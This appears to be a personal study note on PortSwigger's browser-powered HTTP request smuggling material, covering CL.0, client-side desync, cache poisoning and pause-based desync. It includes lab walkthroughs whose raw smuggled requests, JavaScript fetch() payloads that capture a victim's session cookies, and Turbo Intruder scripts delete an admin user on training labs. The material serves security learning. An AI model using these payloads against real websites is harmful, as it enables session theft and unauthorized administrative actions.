CL.0 Request Smuggling

If the back-end server ignores the Content-Length header (same as treating the Content-Length as 0), but the front-end still uses the Content-Length header to determine where the request ends, you can potentially exploit this discrepancy for HTTP request smuggling.

Testing for CL.0 Vulnerabilities

To probe for CL.0 vulnerabilities, first send a request containing another partial request in its body, then send a normal follow-up request.

In the following example, the follow-up request for the home page has received a 404 response.

POST /vulnerable-endpoint HTTP/1.1 
Host: vulnerable-website.com 
Connection: keep-alive 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 34 
 
GET /hopefully404 HTTP/1.1 
Foo: xGET / HTTP/1.1 Host: vulnerable-website.com
HTTP/1.1 200 OK 
 
HTTP/1.1 404 Not Found

This strongly suggests that the back-end server interpreted the body of the POST request (GET /hopefully404...) as the start of another request.

In the wild, we’ve mostly observed this behavior on endpoints that simply aren’t expecting POST requests, so they implicitly assume that no requests have a body. Endpoints that trigger server-level redirects and requests for static files are prime candidates.

Important

Crucially, notice that we haven’t tampered with the headers in any way - the length of the request is specified by a perfectly normal, accurate Content-Length header.

Eliciting CL.0 Behavior

When a request’s headers trigger a server error, some servers issue an error response without consuming the request body off the socket. If they don’t close the connection afterwards, this can provide an alternative CL.0 desync vector.

Lab: CL.0 Request Smuggling

Abstract

This lab is vulnerable to CL.0 request smuggling attacks. The back-end server ignores the Content-Length header on requests to some endpoints.

To solve the lab, identify a vulnerable endpoint, smuggle a request to the back-end to access to the admin panel at /admin, then delete the user carlos.

Found a vulnerable endpoint at:

GET /resources/images/avatarDefault.svg HTTP/2

Specifically, when adding the following headers and send the request twice, the second response has 400 status code:

Content-Length: 27
 
GET /404 HTTP/1.1
Foo: x
HTTP/2 404 Not Found
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 22
 
<p>Not Found: /404</p>

Smuggle a request to /admin endpoint:

GET /admin HTTP/1.1
Foo: x

The second response has endpoint to delete carlos user:

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 3064
 
...
<a href="/admin/delete?username=carlos">Delete</a>

Change the smuggle request to this:

POST /admin/delete?username=carlos HTTP/1.1
Foo: x

Send the request twice to solve the lab.

Summary

As we can see, the way we exploit this vulnerability is different from CL.TE because we do not need to add Transfer-Encoding: chunked header.

H2.0 Vulnerabilities

Websites that downgrade HTTP/2 requests to HTTP/1 may be vulnerable to an equivalent “H2.0” issue if the back-end server ignores the Content-Length header of the downgraded request.

Client-side Desync Attacks

What is a Client-side Desync Attack?

A client-side desync (CSD) is an attack that makes the victim’s web browser desynchronize its own connection to the vulnerable website.

In high-level terms, a CSD attack involves the following stages:

  1. The victim visits a web page on an arbitrary domain containing malicious JavaScript.
  2. The JavaScript causes the victim’s browser to issue a request to the vulnerable website. This contains an attacker-controlled request prefix in its body, much like a normal request smuggling attack.
  3. The malicious prefix is left on the server’s TCP/TLS socket after it responds to the initial request, desyncing the connection with the browser.
  4. The JavaScript then triggers a follow-up request down the poisoned connection. This is appended to the malicious prefix, eliciting a harmful response from the server.

Info

Most likely candidates of CSD attack vectors are endpoints that aren’t expecting POST requests, such as static files or server-level redirects.

Lab: Client-side Desync

Abstract

This lab is vulnerable to client-side desync attacks because the server ignores the Content-Length header on requests to some endpoints. You can exploit this to induce a victim’s browser to disclose its session cookie.

To solve the lab:

  1. Identify a client-side desync vector in Burp, then confirm that you can replicate this in your browser.
  2. Identify a gadget that enables you to store text data within the application.
  3. Combine these to craft an exploit that causes the victim’s browser to issue a series of cross-domain requests that leak their session cookie.
  4. Use the stolen cookie to access the victim’s account.

Info

Partially follow the solution to solve this lab.

Probing for Client-side Desync Vectors

I found that the request sent to / will be redirected to /en. This can be a CSD attack vector.

Testing for CSD vector by sending the following request:

GET / HTTP/1.1
Host: 0aab005a03d2e0fa8191b16b003300eb.h1-web-security-academy.net
Connection: keep-alive
Content-Length: 1
 
 

The server responses immediately, which indicates that it ignores Content-Length header and the / endpoint can be used as a CSD attack vector.

Confirming the Desync Vector in Burp

Craft an attack request like this:

GET / HTTP/1.1
Host: 0aab005a03d2e0fa8191b16b003300eb.h1-web-security-academy.net
Connection: keep-alive
Content-Length: 25
 
GET /404 HTTP/1.1
Foo: x

Remember to turn off “Update Content-Length” feature of Burp Suite.

Duplicate the above request and group two same requests into a group. Send both requests in a single connection. Two responses:

HTTP/1.1 302 Found
Location: /en
X-Frame-Options: SAMEORIGIN
Keep-Alive: timeout=10
Content-Length: 0
HTTP/1.1 404 Not Found
Content-Type: application/json; charset=utf-8
Set-Cookie: session=m8poGN9h55QKQ4U11aDsZOlyO0kgS7Mx; Secure; HttpOnly; SameSite=None
Set-Cookie: _lab_analytics=Kz27ogyMJoiTief4mLSoF12CK0S7xT95gi9ELu0kai8V9waIxq52fhMtzht3UYrRWnspNNhm2C5SWVJkuIgexsHISL9OO2KKGe4exuUUbMXfYO2PVy5gGjgxLW87SiIiBC8WEVFL1huBqdvkaxUqcZ2fOG0XBJBMQ9WmdSSQOxSObvFXHUYZ63x7lceMnUhPPzJDN4xidbYXrlwBfaW6q6ZePFpfITZtEH3HoZU3smCsRPhhKOVcd0dZsCeAaB9B; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Keep-Alive: timeout=10
Content-Length: 11
 
"Not Found"

This behaviour confirms the CSD attack vector.

Building a Proof of Concept in a Browser

To replicate those requests in browser, we use the following JavaScript code:

fetch('https://0aab005a03d2e0fa8191b16b003300eb.h1-web-security-academy.net', {
	method: 'POST',
    body: 'GET /404 HTTP/1.1\r\nFoo: x',
    mode: 'cors',
    credentials: 'include'
}).catch(() => {
    fetch('https://0aab005a03d2e0fa8191b16b003300eb.h1-web-security-academy.net', {
		mode: 'no-cors',
		credentials: 'include'
    })
})

Explanation:

  • By setting the mode: 'cors' option for the initial request, we can intentionally trigger a CORS error, which prevents the browser from following the redirect to the /en endpoint. Then, we resume the attack sequence by invoking catch().
  • Browsers generally use separate connection pools for requests with cookies and those without. The credentials: 'include' option ensures that you’re poisoning the “with-cookies” pool, which you’ll want for most exploits.

Execute the above code on a cross-site page and on a browser that does not have proxy.

Browser Requirements

To reduce the chance of any interference and ensure that your test simulates an arbitrary victim’s browser as closely as possible:

  • Use a browser that is not proxying traffic through Burp Suite - using any HTTP proxy can have a significant impact on the success of your attacks. We recommend Chrome as its developer tools provide some useful troubleshooting features.
  • Disable any browser extensions.

The first response will cause the CORS error:

HTTP/1.1 302 Found
Location: /en
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
Keep-Alive: timeout=10
Content-Length: 0

The second response has 404 status code as expected:

HTTP/1.1 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
Keep-Alive: timeout=10
Content-Length: 31

Exploiting Client-side Desync Vulnerabilities

Next, we need to find a request that can capture user’s request and it is the comment feature:

POST /en/post/comment HTTP/1.1
Host: 0aab005a03d2e0fa8191b16b003300eb.h1-web-security-academy.net
Cookie: session=3DyKS00bFn52VlbTISRgqfxQqCMmoe7e; _lab_analytics=OpggWt2r7LdIVnm3Pdl0gJcMhxEOv8lvMMzAiyXl1lR9yQmK14jFOqzXqOlxz2FeQPh558JxzXcYkTXEMu1Dm1W63PYrM80c9GGNyx5fpg2whAwOkZwlZYlcJTPlbBc2lglp0xoRL5ZixG4TQmmZXK0l9wG7FpALDH1joqBbiq1Zt4owcETZok5mh7FYLpBkLbOH5mVvcq3z9EptlCowbEDAbmP0PSmE158moZhXTUSFn9GAnQEFEnr4dsRgAf75
Content-Length: 79
Content-Type: application/x-www-form-urlencoded
 
csrf=W1pMy0y3DGbcdHwY86b13OqQvLI6kIsC&postId=1&name=a&email=a%40a.com&comment=a

Change the smuggled prefix into a POST request used for posting a comment:

fetch('https://0aab005a03d2e0fa8191b16b003300eb.h1-web-security-academy.net', {
	method: 'POST',
    body: 'POST /en/post/comment HTTP/1.1\r\nHost: 0aab005a03d2e0fa8191b16b003300eb.h1-web-security-academy.net\r\nCookie: session=3DyKS00bFn52VlbTISRgqfxQqCMmoe7e; _lab_analytics=OpggWt2r7LdIVnm3Pdl0gJcMhxEOv8lvMMzAiyXl1lR9yQmK14jFOqzXqOlxz2FeQPh558JxzXcYkTXEMu1Dm1W63PYrM80c9GGNyx5fpg2whAwOkZwlZYlcJTPlbBc2lglp0xoRL5ZixG4TQmmZXK0l9wG7FpALDH1joqBbiq1Zt4owcETZok5mh7FYLpBkLbOH5mVvcq3z9EptlCowbEDAbmP0PSmE158moZhXTUSFn9GAnQEFEnr4dsRgAf75\r\nContent-Length: 500\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\ncsrf=W1pMy0y3DGbcdHwY86b13OqQvLI6kIsC&postId=1&name=a&email=a%40a.com&comment=',
    mode: 'cors',
    credentials: 'include'
}).catch(() => {
    fetch('https://0aab005a03d2e0fa8191b16b003300eb.h1-web-security-academy.net', {
		mode: 'no-cors',
		credentials: 'include'
    })
})

We will adjust the Content-Length header until we can capture user’s cookies:

Cookie: victim-fingerprint=D0oddjRci3L6ydnsOSHBz30hWrVCOrmY; secret=KsOlFKy0IOZjbSiwIY0H1gKmkqDs2E1g; session=8ughMVyDODWUC8RXIBFxyfbgagPKclLj

Use the above cookie to send request to /my-account for solving the lab.

Client-side Cache Poisoning

Once you’ve found a CSD vector and confirmed that you can replicate it in a browser, you need to identify a suitable redirect gadget. After that, poisoning the cache is fairly straightforward.

Poisoning the Cache with a Redirect

First, tweak your proof of concept so that the smuggled prefix will trigger a redirect to the domain where you’ll host your malicious payload. Next, change the follow-up request to a direct request for the target JavaScript file.

<script>
    fetch('https://vulnerable-website.com/desync-vector', {
        method: 'POST',
        body: 'GET /redirect-me HTTP/1.1\r\nFoo: x',
        credentials: 'include',
        mode: 'no-cors'
    }).then(() => {
        location = 'https://vulnerable-website.com/resources/target.js'
    })
</script>

Triggering the Resource Import

You now need to further develop your script so that when the browser returns having already poisoned its cache, it is navigated to a page on the vulnerable site that will trigger the resource import. This is easily achieved using conditional statements to execute different code depending on whether the browser window has viewed your script already.

Delivering a Payload

Initially, the victim’s browser loads your malicious page as HTML and executes the nested JavaScript in the context of your own domain. When it eventually attempts to import the JavaScript resource on the target domain and gets redirected to your malicious page, you’ll notice that the script doesn’t execute. This is because you’re still serving HTML when the browser is expecting JavaScript.

One possible approach is to create a polyglot payload by wrapping the HTML in JavaScript comments:

alert(1);
/*
<script>
    fetch( ... )
</script>
*/

When the browser loads the page as HTML, it will only execute the JavaScript in the <script> tags. When it eventually loads this in a JavaScript context, it will only execute the alert() payload, treating the rest of the content as arbitrary developer comments.

Pause-based Desync Attacks

Pause-based desync vulnerabilities can occur when a server times out a request but leaves the connection open for reuse. Given the right conditions, this behavior can provide an alternative vector for both server-side and client-side desync attacks.

Server-side Pause-based Desync

This is dependent on the following conditions:

  • The front-end server must immediately forward each byte of the request to the back-end rather than waiting until it has received the full request.
  • The front-end server must not (or can be encouraged not to) time out requests before the back-end server.
  • The back-end server must leave the connection open for reuse following a read timeout.

The following is a standard CL.0 request smuggling probe:

POST /example HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
 
GET /hopefully404 HTTP/1.1
Foo: x

Consider what happens if we send the headers to a vulnerable website, but pause before sending the body.

  1. The front-end forwards the headers to the back-end, then continues to wait for the remaining bytes promised by the Content-Length header.
  2. After a while, the back-end times out and sends a response, even though it has only consumed part of the request. At this point, the front-end may or may not read in this response and forward it to us.
  3. We finally send the body, which contains a basic request smuggling prefix in this case.
  4. The front-end server treats this as a continuation of the initial request and forwards this to the back-end down the same connection.
  5. The back-end server has already responded to the initial request, so assumes that these bytes are the start of another request.

PortSwigger Research

Our research team discovered this vulnerability on the widely used Apache HTTP Server, which exhibited this behavior when performing server-level redirects from /example to /example/. We reported this issue and it has been fixed in version 2.4.53, so make sure to update if you haven’t already. For more details, check out Browser-Powered Desync Attacks: A New Frontier in HTTP Request Smuggling by PortSwigger Research.

Testing for Pause-based CL.0 Vulnerabilities

Using the Turbo Intruder extension as it lets you pause mid-request then resume regardless of whether you’ve received a response.

If the response to the second request matches what you expected from the smuggled prefix (in this case a 404), this strongly suggests that the desync was successful.

Lab: Server-side Pause-based Request Smuggling

Abstract

This lab is vulnerable to pause-based server-side request smuggling. The front-end server streams requests to the back-end, and the back-end server does not close the connection after a timeout on some endpoints.

To solve the lab, identify a pause-based CL.0 desync vector, smuggle a request to the back-end to the admin panel at /admin, then delete the user carlos.

Info

Follow the solution to solve this lab.

Request to endpoint /resources has server-redirect response:

HTTP/2 302 Found
Location: /resources/
X-Frame-Options: SAMEORIGIN
Server: Apache/2.4.52
Content-Length: 0

Server is Apache/2.4.52, which means that we can use pause-based desync attack.

Set up the following attack request to test for pause-based desync vulnerability:

POST /resources HTTP/2
Host: 0aaf00d60380128a85585dd700aa00e9.web-security-academy.net
Content-Length: 27
 
GET /admin HTTP/1.1
Foo: x

Send the above request to Turbo Intruder extension and configure like this:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=100,
                           pipeline=False
                           )
    engine.queue(target.req, pauseMarker=['\r\n\r\n'], pauseTime=61000)
    engine.queue(target.req)
 
def handleResponse(req, interesting):
    table.add(req)

The following script will pause at \r\n\r\n sequence in the attack request for 61 seconds. After that, it will send the attack request again.

The first response is unchanged:

HTTP/1.1 302 Found
Location: /resources/
Server: Apache/2.4.52
X-Content-Encoding: gz
Keep-Alive: timeout=120
Content-Length: 0

But the second response is a bit different:

HTTP/1.1 302 Found
Location: /admin/
Server: Apache/2.4.52
X-Content-Encoding: gz
Keep-Alive: timeout=120
Content-Length: 0

Change endpoint of the smuggled request to /admin/ instead of /admin. Attack again and the second response will be:

HTTP/1.1 401 Unauthorized
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Server: Apache/2.4.52
X-Content-Encoding: gz
Keep-Alive: timeout=120
Content-Length: 834
 
...
Admin interface only available to local users

This means that we can only access the admin page if we are local users. To achieve that, we need to change the Host header of the smuggled request to localhost:

POST /resources HTTP/2
Host: 0aaf00d60380128a85585dd700aa00e9.web-security-academy.net
Content-Length: 27
 
GET /admin/ HTTP/1.1
Host: localhost
Foo: x

Attack again and the second response is:

HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
Server: Apache/2.4.52
X-Content-Encoding: gz
Keep-Alive: timeout=120
Content-Length: 70
 
{"error":"Duplicate header names are not allowed"}

Seem like the follow-up request and the smuggled request have conflicted Host headers.

The first approach is using simple follow-up request that does not have the Host header like engine.queue('GET /follow-up HTTP/1.1\r\n\r\n'). The response for this approach would be:

HTTP/1.1 421 Misdirected Request
Keep-Alive: timeout=120
Content-Length: 12
 
Invalid host

This response shows that we need to have Host header in the follow-up request.

The second approach is using a trailing parameter to convert whole of the follow-up request into request body:

POST /resources HTTP/2
Host: 0aaf00d60380128a85585dd700aa00e9.web-security-academy.net
Content-Length: 27
 
GET /admin/ HTTP/1.1
Host: localhost
 
x=

However, when using this approach, there are two \r\n\r\n sequences in the attack request and our attack is broken as Turbo Intruder will pause twice before sending the follow-up request. This will generate two smuggled prefixes and the second one (x=) is not what we want.

The third approach is omitting the Host header in the smuggled request but use it in the follow-up request:

POST /resources HTTP/2
Host: 0aaf00d60380128a85585dd700aa00e9.web-security-academy.net
Content-Length: 27
 
GET /admin/ HTTP/1.1
Foo: x
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=100,
                           pipeline=False
                           )
    engine.queue(target.req, pauseMarker=['\r\n\r\n'], pauseTime=61000)
    engine.queue('GET /follow-up HTTP/1.1\r\nHost: localhost\r\n\r\n')
 
def handleResponse(req, interesting):
    table.add(req)

The second response has 200 status code and the following form:

<form style='margin-top: 1em' class='login-form' action='/admin/delete' method='POST'>
	<input required type="hidden" name="csrf" value="AGjSkyqow5RcQXjDY7tjLCEmKAc4Zzmj">
	<label>Username</label>
	<input required type='text' name='username'>
	<button class='button' type='submit'>Delete user</button>
</form>

Construct the attack request that send a smuggled request to /admin/delete endpoint:

POST /resources HTTP/2
Host: 0aaf00d60380128a85585dd700aa00e9.web-security-academy.net
Content-Length: 27
 
POST /admin/delete HTTP/1.1
Foo: x

We will add request body to the follow-up request:

engine.queue('GET /follow-up HTTP/1.1\r\nHost: localhost\r\n\r\ncsrf=AGjSkyqow5RcQXjDY7tjLCEmKAc4Zzmj&username=carlos')

Second response shows that we need to send request to /admin/delete/ instead:

HTTP/1.1 302 Found
Location: /admin/delete/
X-Frame-Options: SAMEORIGIN
Server: Apache/2.4.52
Keep-Alive: timeout=120
Content-Length: 0

It turns out that we have a way to only pause once by changing the value of pauseMarker. To do this, we need to identify the correct Content-Length headers in the request by sending the following request and let Burp Suite calculate the values.

POST /resources HTTP/2
Host: 0aaf00d60380128a85585dd700aa00e9.web-security-academy.net
Content-Length: 159
 
POST /admin/delete/ HTTP/1.1
Host: localhost
Content-Type: x-www-form-urlencoded
Content-Length: 53
 
csrf=AGjSkyqow5RcQXjDY7tjLCEmKAc4Zzmj&username=carlos

Then, configure Turbo Intruder like this:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=100,
                           pipeline=False
                           )
    engine.queue(target.req, pauseMarker=['Content-Length: 159\r\n\r\n'], pauseTime=61000)
    engine.queue('GET /follow-up HTTP/1.1\r\nHost: localhost\r\n\r\n')
 
def handleResponse(req, interesting):
    table.add(req)

Now we can remove the request body of the follow-up request.

Client-side Pause-based Desync

The flow of this attack is similar to any other client-side desync attack. The user visits a malicious website, which causes their browser to issue a series of cross-domain requests to the target site. In this case, you need to deliberately pad the first request so that the operating system splits it into multiple TCP packets. As you control the padding, you can pad the request until the final packet has a distinct size so you can work out which one to delay.

list
from outgoing([[Port Swigger - Browser-Powered Request Smuggling]])
sort file.ctime asc

Resources